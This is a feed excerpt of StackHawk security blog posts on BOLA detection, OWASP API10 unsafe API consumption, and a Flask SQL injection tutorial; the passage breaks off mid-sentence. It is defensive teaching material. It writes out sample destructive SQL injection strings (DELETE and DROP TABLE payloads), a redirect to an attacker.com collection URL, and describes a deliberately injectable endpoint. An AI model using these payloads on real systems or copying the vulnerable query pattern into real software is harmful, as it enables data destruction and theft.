applications for potential BOLA vulnerabilities.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Enabling BOLA Detection in HawkScan&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Enabling BOLA (and IDOR) detection in StackHawk is easy. Two ways to do this are using the &amp;quot;OpenAPI - Experimental&amp;quot; policy or customizing an existing policy. The &amp;quot;OpenAPI - Experimental&amp;quot; policy allows users to scan for the vulnerabilities outlined in the OWASP API Security Top 10.&lt;/p&gt;&lt;p&gt;To set HawkScan up with the &amp;quot;OpenAPI - Experimental&amp;quot; policy, you will log into StackHawk, go to the &lt;b&gt;Applications&lt;/b&gt; screen, and click on the &lt;b&gt;settings&lt;/b&gt; link for your application.&lt;/p&gt;&lt;p&gt;Next, on the &lt;b&gt;Settings&lt;/b&gt; screen, under &lt;b&gt;HawkScan Settings&lt;/b&gt;, click the &lt;b&gt;Applied Policy&lt;/b&gt; dropdown and select the &amp;quot;OpenAPI - Experimental&amp;quot; policy.&lt;/p&gt;&lt;p&gt;At this point, you can then run HawkScan and begin detecting potential BOLA vulnerabilities. Of course, another way to do this is to simply customize an existing policy to scan for BOLA/IDOR vulnerabilities. To show how this can be done, we can navigate to the same &lt;b&gt;HawkScan Settings&lt;/b&gt; section that we looked at above. From here, we will select the &amp;quot;OpenAPI/REST API&amp;quot; policy from the &lt;b&gt;Applied Policy&lt;/b&gt; dropdown.&lt;/p&gt;&lt;p&gt;Next, click the &lt;b&gt;Edit Policy&lt;/b&gt; button right beside the dropdown.&lt;/p&gt;&lt;p&gt;On the next screen, under the &lt;b&gt;Plugins and Tests&lt;/b&gt; section, click on the &lt;b&gt;BOLA&lt;/b&gt; entry to enable HawkScan to execute tests for potential BOLA vulnerabilities.&lt;/p&gt;&lt;p&gt;If you also want to enable &lt;b&gt;IDOR&lt;/b&gt; testing, you can click on the &lt;b&gt;Passive Scan Plugins&lt;/b&gt; tab and then select &lt;b&gt;IDOR&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Regardless of how you have enabled BOLA testing in HawkScan, your tests will include testing for potential BOLA vulnerabilities (and IDOR, if you enabled it)!&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Understanding BOLA is a crucial first step in securing your APIs, but implementing robust authorization mechanisms in the real world can be complex. The key lies in empowering your developers with the tools and knowledge they need to build security into the core of your API design.&lt;/p&gt;&lt;p&gt;StackHawk goes beyond simply identifying potential BOLA vulnerabilities in your running application. It bridges the gap between detection and remediation by providing clear explanations, actionable guidance, and seamless integration into your existing development workflows. This collaborative approach makes API security less intimidating and helps developers instill secure coding practices.&lt;/p&gt;&lt;p&gt;By proactively using StackHawk to detect and address BOLA vulnerabilities, you can significantly minimize the risks of this common API threat. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign up&lt;/a&gt; for a 14-day free trial of StackHawk today to experience the difference StackHawk makes in detecting BOLA vulnerabilities and other API security issues outlined in the OWASP API Top 10.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Understanding and Protecting Against OWASP API10: Unsafe Consumption of APIs]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/understanding-and-protecting-against-owasp-api10-unsafe-consumption-of-apis</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In our increasingly interconnected world, APIs (Application Programming Interfaces) form the backbone of modern digital systems. They power seamless data exchange and enable applications to communicate effortlessly. Because of their rise in usage and popularity, they’ve also become a target for bad actors to exploit. This has led to the&lt;a href=&quot;https://owasp.org/API-Security/editions/2023/en/0x11-t10/&quot;&gt; &lt;u&gt;OWASP Top 10 API Security Risks&lt;/u&gt;&lt;/a&gt;, a list developed by OWASP to highlight the top API vulnerabilities that could be and are exploited in the wild. One of the vulnerabilities highlighted in the 2023 edition of the list, in tenth position, is&lt;a href=&quot;https://owasp.org/API-Security/editions/2023/en/0xaa-unsafe-consumption-of-apis/&quot;&gt; &lt;b&gt;&lt;u&gt;API10: Unsafe Consumption of APIs&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;With so many APIs available from third-party providers, our reliance on external APIs can introduce hidden dangers. The &lt;b&gt;OWASP API10: Unsafe Consumption of APIs&lt;/b&gt; vulnerability highlights how interactions with untrusted, compromised, or poorly designed third-party APIs can significantly jeopardize your application&amp;#39;s security. In this blog, we&amp;#39;ll delve into this vulnerability and help you fortify your API endpoints against such an attack.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding OWASP API10: Unsafe Consumption of APIs&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;At its core, the OWASP API10 vulnerability arises when developers integrate their applications with other APIs without thoroughly assessing those external dependencies&amp;#39; trustworthiness and security posture. Since third-party APIs might adopt weaker security standards, it can make them susceptible to certain vulnerabilities. Scenarios that could lead to the &amp;quot;unsafe consumption of APIs&amp;quot; vulnerability include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Dependency on Vulnerable APIs:&lt;/b&gt; If an external API your application relies on has known vulnerabilities, attackers could exploit those weaknesses to gain unauthorized access to your application&amp;#39;s sensitive data or functionality.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Lack of Validation:&lt;/b&gt; Not adequately validating data received from third-party APIs could lead to injections (like SQL injections or command injections), allowing attackers to manipulate your application&amp;#39;s behavior.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Over-Reliance on APIs:&lt;/b&gt; If you expose too much of your own application&amp;#39;s critical functionality through APIs, other systems making calls to those APIs could inadvertently open up security risks.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;The Impact: What&amp;#39;s at Stake?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Unsafe consumption of APIs can have far-reaching consequences, compromising the security and integrity of your application. Here&amp;#39;s a look at some potential impacts:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Breaches:&lt;/b&gt; Attackers could exploit vulnerabilities in integrated APIs to access, manipulate, or steal confidential user data stored in your application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;System Takeover:&lt;/b&gt; Attackers might leverage API weaknesses to hijack your application&amp;#39;s functionalities or gain complete control over your systems.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Denial of Service (DoS):&lt;/b&gt; Malicious actors could flood vulnerable APIs with requests, overwhelming your application and rendering it unavailable to legitimate users.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Reputational Damage:&lt;/b&gt; A security breach stemming from this vulnerability can seriously erode trust in your application, leading to loss of customers and revenue.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Unsafe consumption of APIs tends to stack on top of other known vulnerabilities, such as SQL and script injection. If the third-party applications are vulnerable to these types of attacks then, without the proper mechanisms in place, your application also becomes susceptible too.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;A Real-World Example of Unsafe API Consumption&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s illustrate the OWASP API10 vulnerability with a Python (Flask) example. Consider a simple API endpoint that uses a third-party weather API. Below is some code that exposes a &lt;b&gt;/weather/{city}&lt;/b&gt; endpoint that retrieves the weather data for a specific city passed to the endpoint. The data passed through the &lt;b&gt;{city}&lt;/b&gt; parameter is then used to call the third-party weather API.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If the third-party&lt;a href=&quot;https://owasp.org/API-Security/editions/2023/en/0x11-t10/&quot;&gt; &lt;b&gt;&lt;u&gt;someweathercompany.com&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; &lt;/b&gt;API is compromised or suffers from an injection vulnerability, a malicious user could provide a specially crafted input to the&lt;b&gt; {city} &lt;/b&gt;parameter. Since the data sent to the API is not sanitized or checked, this parameter could expose sensitive data from your application or allow the attacker to execute arbitrary code on your backend system.&lt;/p&gt;&lt;p&gt;To understand attacks, let&amp;#39;s explore some potential malicious scenarios that target the vulnerable weather API example above.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Scenario #1: Indirect SQL Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Imagine our weather app allows users to save their favorite locations and offers localized weather forecasts. To obtain precise coordinates, it relies on a third-party geocoding API. However, the geocoding API has a vulnerability that attackers can exploit to inject malicious code into location names. A clever attacker might submit a location like:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;New York&amp;#39;; DELETE FROM saved_locations --&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;If our application blindly stores this data in its database and later builds dynamic SQL queries using it, the injected payload could delete a user&amp;#39;s saved locations or cause even more extensive damage.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Scenario #2: Manipulated Redirects&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s say our application wants to partner with a third-party API to provide historical weather data for a given location and date. If this weather history API becomes compromised, attackers could manipulate it to send redirects for API calls, like so:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;Original Request to Weather History API:&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;a href=&quot;https://owasp.org/API-Security/editions/2023/en/0x11-t10/&quot;&gt;&lt;code&gt;&lt;b&gt;&lt;u&gt;https://weatherhistoryapi.com/data?location=London&amp;amp;date=2023-02-27&lt;/u&gt;&lt;/b&gt;&lt;/code&gt;&lt;/a&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;Malicious Redirect Response (HTTP 308):&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;Location:&lt;/b&gt;&lt;/code&gt;&lt;a href=&quot;https://owasp.org/API-Security/editions/2023/en/0x11-t10/&quot;&gt;&lt;code&gt;&lt;b&gt; &lt;/b&gt;&lt;/code&gt;&lt;code&gt;&lt;b&gt;&lt;u&gt;https://attacker.com/collect_data&lt;/u&gt;&lt;/b&gt;&lt;/code&gt;&lt;/a&gt;&lt;code&gt;&lt;b&gt; &lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;An application that doesn&amp;#39;t carefully handle redirects might blindly resend the request, including sensitive location and date details, to the attacker-controlled server.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Scenario #3: Tricky Filenames&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Although possible but less likely, let’s imagine our weather app has a niche feature allowing users to upload their weather observations. These files are stored, and their filenames are kept in a database. An attacker could upload a file named:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;weather_data_2023.csv&amp;#39;; DROP TABLE user_data; -- &lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;If our app isn&amp;#39;t rigorously sanitizing filenames before using them in database interactions, this payload could lead to losing important user data.&lt;/p&gt;&lt;p&gt;Although these are just a few possible scenarios, they highlight how vulnerabilities in external systems we depend on can cascade into problems for our applications. Of course, for these particular exploits, our &lt;b&gt;/weather/{city} &lt;/b&gt;can implement some logic to prevent such attacks from being effective. Let’s look at how that can be done in the next section.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Prevention: Best Practices to Secure API Consumption&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Vigilance is crucial when working with external APIs. As API interactions happen, developers should ensure that user input is properly handled and that any interaction with any integrated third-party services is limited to only what is required for your app. Making sure that your API that leverages the third-party API is secure requires quite a few important factors. Let’s look at a short list of what to look out for and what to do.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Inventory and Assessment:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Maintain a comprehensive list of every third-party API you interact with.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Thoroughly research their security track record. Look for documented vulnerabilities, patch processes, and their overall security posture.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Input Sanitization and Validation (Always!)&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Never trust data from external APIs.&lt;/b&gt; Apply rigorous input validation to everything you receive.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Whitelist Allowed Characters:&lt;/b&gt; Create a strict list of permitted characters for inputs like location names. Reject everything else.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Parameterize Queries:&lt;/b&gt; When interacting with databases, use parameterized queries to separate user-supplied data (even data coming through third-party APIs ) from your query logic, eliminating a major vector for injection attacks.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Principle of Least Privilege:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Expose only the absolute minimum API functionality required. Avoid giving third-party systems wide access to your data or actions.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Secure Communication:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Always use HTTPS for communication with APIs to protect data in transit.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Error Handling with Care:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Avoid returning verbose error messages from upstream APIs. Return generic, non-informative messages to limit potential information leaks for attackers to exploit.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuous Monitoring&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Monitor external APIs for new vulnerabilities, security advisories, and updates. Regularly review your API usage patterns for anomalies.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;&lt;b&gt;Fixing Our Weather API Code&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;With this in mind, let’s apply some of these tips to our existing weather API. Below is a new and improved version of the API that includes some of the measures we covered above.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;As we saw, the original version of the target API, the &lt;b&gt;/weather/{city}&lt;/b&gt; endpoint, didn&amp;#39;t have any measures to prevent malicious input from being sent to the weather API. This made it susceptible to various attacks like SQL injection or command injection. The code above adds additional logic for input sanitization and error handling. Here are the specifics we’ve added:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Input Sanitization:&lt;/b&gt; We&amp;#39;ve introduced a regular expression&lt;b&gt; (re.match(r&amp;quot;^[A-Za-z0-9 ]+$&amp;quot;, city))&lt;/b&gt; to ensure the city parameter from the user consists only of letters, numbers, and spaces. This whitelist approach significantly reduces the surface area for attacks by rejecting unexpected characters.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Error Handling&lt;/b&gt;: A simple error message (&amp;quot;Invalid city name&amp;quot;) is returned if the input validation fails. This gives the user feedback without revealing sensitive or verbose implementation details that an attacker might misuse.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;These changes implement the core security principle of &amp;quot;never trust user input.&amp;quot; By sanitizing the data before it&amp;#39;s sent to the external weather API, we&amp;#39;ve added a crucial layer of defense against potential injection attacks. This protects both your server from direct compromise and prevents your application from being used as a tool to attack the weather API itself.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Beyond the Basics&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Beyond adding some additional logic to the code directly, we can also add additional measures using other tools. These include adding rate limiting and monitoring mechanisms for the API endpoint.&lt;/p&gt;&lt;p&gt;For rate limiting, you’ll want to implement it on your side as an additional layer of protection, even if the weather API has its own limits in place. This can easily be done by using an API gateway or API management solution.&lt;/p&gt;&lt;p&gt;To monitor your APIs, you can set up logging and monitoring for API interactions (both requests you send and responses you receive) to detect unusual activity or unexpected errors. Various API monitoring and analytics solutions can alert you when specific criteria, such as potentially malicious usage, occur.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;StackHawk: Your API Security Ally&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Manually identifying and fixing API vulnerabilities can be time-consuming and prone to oversights. StackHawk offers a powerful solution to streamline the improvement of your API security posture against the threats outlined in the OWASP API Top 10. Developers who use StackHawk can leverage:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automated Scanning:&lt;/b&gt; StackHawk probes your running APIs in pre-production and production environments, uncovering vulnerabilities that static code analysis might miss.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;OWASP Alignment:&lt;/b&gt; StackHawk&amp;#39;s testing targets explicitly a wide range of vulnerabilities from the OWASP API Top 10, including issues like BOLA, injection flaws, and inadequate resource consumption protections.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Actionable Guidance:&lt;/b&gt; Beyond just identifying problems, StackHawk offers clear remediation instructions and contextual information, empowering developers to resolve vulnerabilities quickly.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integrates into Your Workflow:&lt;/b&gt; StackHawk seamlessly plugs into your existing CI/CD pipelines, enabling continuous security assessment as a part of your development process.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;With StackHawk, you can proactively discover vulnerabilities before they hit production, prioritize fixes, and empower developers to “shift left”. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign up&lt;/a&gt; today to try out StackHawk for yourself and begin tackling the OWASP Top 10 API Security Risks with ease and automation!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Finding and Fixing SQL Injection Vulnerabilities in Flask (Python) with StackHawk]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/finding-and-fixing-sql-injection-vulnerabilities-in-flask-python</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In today’s rapidly evolving digital landscape, the security of web applications and APIs is more crucial than ever. With cyber threats becoming increasingly sophisticated, protecting sensitive data against unauthorized access is a top priority for developers and businesses. Among the numerous security vulnerabilities that frequently plague web applications and APIs, SQL Injection stands out as one of the most dangerous and prevalent.&lt;/p&gt;&lt;p&gt;In this blog, we delve into the world of web application security by exploring SQL Injection vulnerabilities. First, we will build a simple API with Flask, then configure StackHawk and use HawkScan through the Hawk CLI to identify any vulnerabilities. This hands-on approach will highlight how SQL injection vulnerabilities are introduced and demonstrate practical steps to fix them. After addressing the SQL injection vulnerability in our code, we&amp;#39;ll retest with StackHawk to ensure the security issue is resolved. Let’s start by looking at the basics of StackHawk and SQL injection.&lt;/p&gt;&lt;h2&gt;What is StackHawk?&lt;/h2&gt;&lt;p&gt;StackHawk is a modern, powerful DAST tool designed for developers to integrate application security testing seamlessly into their software development lifecycle. It is not just another security tool; it&amp;#39;s a developer-first platform emphasizing automation, ease of use, and integration into existing development workflows.&lt;/p&gt;&lt;p&gt;At its core, StackHawk is built around empowering developers to take the lead in application security. It provides a suite of tools that make it easy to find, understand, and fix security vulnerabilities before they make it to production. One of the critical components of StackHawk is HawkScan, a dynamic application security testing (DAST) tool that scans running applications and APIs to identify security vulnerabilities.&lt;/p&gt;&lt;p&gt;With StackHawk, developers and security teams can:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automate Security Testing:&lt;/b&gt; Integrate security testing into CI/CD pipelines, ensuring every build is automatically scanned for vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Identify and Fix Vulnerabilities:&lt;/b&gt; Receive detailed, actionable information about each vulnerability, including where it is in the code and how to fix it.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Test in All Environments:&lt;/b&gt; Use StackHawk in various environments, including development, staging, and production, to catch security issues at any stage of the development process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Customize Scans:&lt;/b&gt; Tailor scanning configurations to suit specific applications and environments, ensuring more relevant and accurate results.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By focusing on a developer-first approach to security testing and integrating smoothly into existing dev tools and practices, StackHawk demystifies application security, making it a more approachable and manageable part of the software development lifecycle.&lt;/p&gt;&lt;h2&gt;What is SQL Injection?&lt;/h2&gt;&lt;p&gt;SQL Injection (SQLi) is a type of security vulnerability that occurs in the database layer of an application. It allows attackers to interfere with the queries that an application makes to its database. This can lead to various harmful outcomes, including unauthorized viewing of data, deletion of data, and, in some cases, complete control over the database.&lt;/p&gt;&lt;p&gt;The vulnerability arises when an application uses user input in its SQL queries without proper validation or escaping. Attackers can exploit this by injecting malicious SQL code through the application&amp;#39;s input channels (like forms, URLs, API endpoints, etc.), which can unintentionally manipulate the database.&lt;/p&gt;&lt;p&gt;For example, consider an API that uses a URl parameter to retrieve user information from a database. If this input is inserted into a SQL query without proper safeguards, an attacker could input SQL commands that the database will execute. This could lead to unauthorized access to sensitive data, such as passwords, personal information, etc.&lt;/p&gt;&lt;p&gt;SQL Injection can be classified into different types, such as:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;In-band SQLi:&lt;/b&gt; The most common and straightforward kind, where the attacker uses the same communication channel to launch the attack and gather results.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Inferential SQLi: &lt;/b&gt;The attacker sends data payloads to the server and observes the response and behavior of the server to learn about its structure.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Out-of-band SQLi:&lt;/b&gt; Used when the attacker can&amp;#39;t use the same channel to launch the attack and gather information, often relying on server capabilities to send data to the attacker.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;SQL Injection is a high-severity vulnerability because it can compromise sensitive data and take over database systems. Fortunately, with the right tools and practices, it can be detected and remediated effectively, which we will explore in this blog with the help of StackHawk and HawkScan.&lt;/p&gt;&lt;h2&gt;How can SQL injection impact application security?&lt;/h2&gt;&lt;p&gt;SQL Injection can have a profound and detrimental impact on application security, with consequences ranging from data breaches to complete system compromise. Here’s how SQL Injection can affect application security:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Breach: &lt;/b&gt;The most immediate threat posed by SQL Injection is unauthorized access to sensitive data. Attackers can exploit vulnerable inputs to extract data from the database, exposing personal information, financial details, and other confidential data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Loss and Corruption:&lt;/b&gt; SQL Injection attacks can also be used to delete or modify data in the database. This can result in data loss, data integrity corruption, and application functionality disruption.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Unauthorized System Access:&lt;/b&gt; In severe cases, SQL Injection can lead to a complete system takeover. Attackers can use advanced SQL Injection techniques to escalate their privileges within the database, allowing them to execute administrative operations and potentially gain access to the underlying server.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Legal and Compliance Issues:&lt;/b&gt; A successful SQL Injection attack can lead to violations of data protection regulations like GDPR, HIPAA, etc. This can result in hefty fines, legal action, and damage to the organization&amp;#39;s reputation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Loss of Trust:&lt;/b&gt; Customers and users lose trust in applications and businesses that fail to protect their data. A single SQL Injection vulnerability that leads to a data breach can have long-lasting repercussions on an organization&amp;#39;s credibility and customer loyalty.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Financial Costs:&lt;/b&gt; Dealing with the aftermath of a SQL Injection attack can be costly. Expenses can include legal fees, regulatory fines, costs associated with rectifying the breach, and investments in upgrading security measures.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Preventing SQL Injection requires a multi-faceted approach, including proper input validation, use of prepared statements, regular security testing, and awareness training for developers. Tools like StackHawk play a crucial role in identifying potential SQL Injection vulnerabilities, enabling teams to address these issues before they lead to security incidents proactively.&lt;/p&gt;&lt;h2&gt;Finding and Fixing SQL Injection in a Flask API&lt;/h2&gt;&lt;p&gt;Now, we will understand SQL injection a bit more deeply by creating a simple API with an endpoint containing a SQL injection vulnerability. In this step-by-step guide, we will create an API using Flask, then set up StackHawk to test the application through HawkScan and the Hawk CLI. Once the vulnerability is reported, we will fix the injection flaw and retest to ensure it’s indeed fixed.&lt;/p&gt;&lt;h3&gt;Creating an API with Flask&lt;/h3&gt;&lt;p&gt;In this part of the guide, we will create our base project and its corresponding API. For this, we will rely on Flask. To follow along, you will need to ensure that you:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Have Python and pip installed&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Have an IDE where you can edit text&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Optionally, have a tool that you can send API requests through to test the endpoint, such as Postman or Insomnia&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;With the prerequisites above, you can proceed with each step below.&lt;/p&gt;&lt;h4&gt;Step 1: Create and Initialize the Project&lt;/h4&gt;&lt;p&gt;First, create a new directory for your project and navigate into it. If you do this through a terminal, you can run the command below.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;mkdir sql-injection-api-example&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;cd sql-injection-api-example&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Next, with the terminal pointed to the root directory, Initialize a new Python project/virtual environent using the following command.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;python3 -m venv venv&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;source venv/bin/activate&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Finally, before we write any code, we will Install the following dependencies:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Flask: for setting up the server.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Flask_SQLAlchemy: for ORM support.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;SQLite: for the database (chosen for simplicity; no separate DB server needed).&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To do this, using the same terminal pointed to the project root, run the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;pip install Flask Flask_SQLAlchemy flask-restx&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;h4&gt;Step 2: Create the Application Code&lt;/h4&gt;&lt;p&gt;Now, we will begin to create our API application. In the root directory of the project, create a file named &lt;b&gt;app.py&lt;/b&gt;. This file will contain your Flask server and the API endpoint that contains the SQL injection vulnerability.&lt;/p&gt;&lt;p&gt;After creating and opening the &lt;b&gt;app.py &lt;/b&gt;file, add the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;For those wondering about the code above, this Flask application establishes a simple web API connected to a SQLite database using SQLAlchemy for basic setup but diverges from ORM best practices for query handling. It initializes a Flask server and configures it to connect to a SQLite database, defining a &lt;b&gt;User&lt;/b&gt; model for database interactions. However, the application introduces a significant security vulnerability by directly incorporating user input into SQL query strings in the &lt;b&gt;/users/&amp;lt;id&amp;gt;&lt;/b&gt; endpoint. This approach makes the application susceptible to SQL injection, as it executes raw SQL queries without sanitizing or parameterizing the user input. Finally, once started, the server will listen for incoming API requests.&lt;/p&gt;&lt;p&gt;For this particular API, we also included the ability to retrieve an OpenAPI Spec. To do this, you will see that we are using the&lt;b&gt; Flask-RESTx&lt;/b&gt; dependency to create the OpenAPI Spec and an endpoint, &lt;b&gt;/api-spec&lt;/b&gt;, that will return the generated OpenAPI Spec. &lt;/p&gt;&lt;h4&gt;Step 3: Running the Application&lt;/h4&gt;&lt;p&gt;Finally, let&amp;#39;s start the Flask application by executing the following command in a terminal, ensuring you&amp;#39;re in the root directory of your project:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;flask run -p 4000&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Next, let’s quickly check to make sure that our endpoint is working as intended. As you can see In the provided Flask application, the vulnerability lies in the &lt;b&gt;/users &lt;/b&gt;endpoint. The endpoint concatenates user input directly into an SQL query without sanitization or parameterization. This makes it susceptible to SQL injection.&lt;/p&gt;&lt;p&gt;In Postman, you can send a simple request to the endpoint. For instance, suppose you want to query the user with ID 1. For this, you could use the following &lt;b&gt;GET&lt;/b&gt; request:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;http://localhost:4000/users/1&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;In a malicious query, an attacker could exploit the SQL injection vulnerability by providing an SQL snippet in the id parameter. For example, they could use the following amended 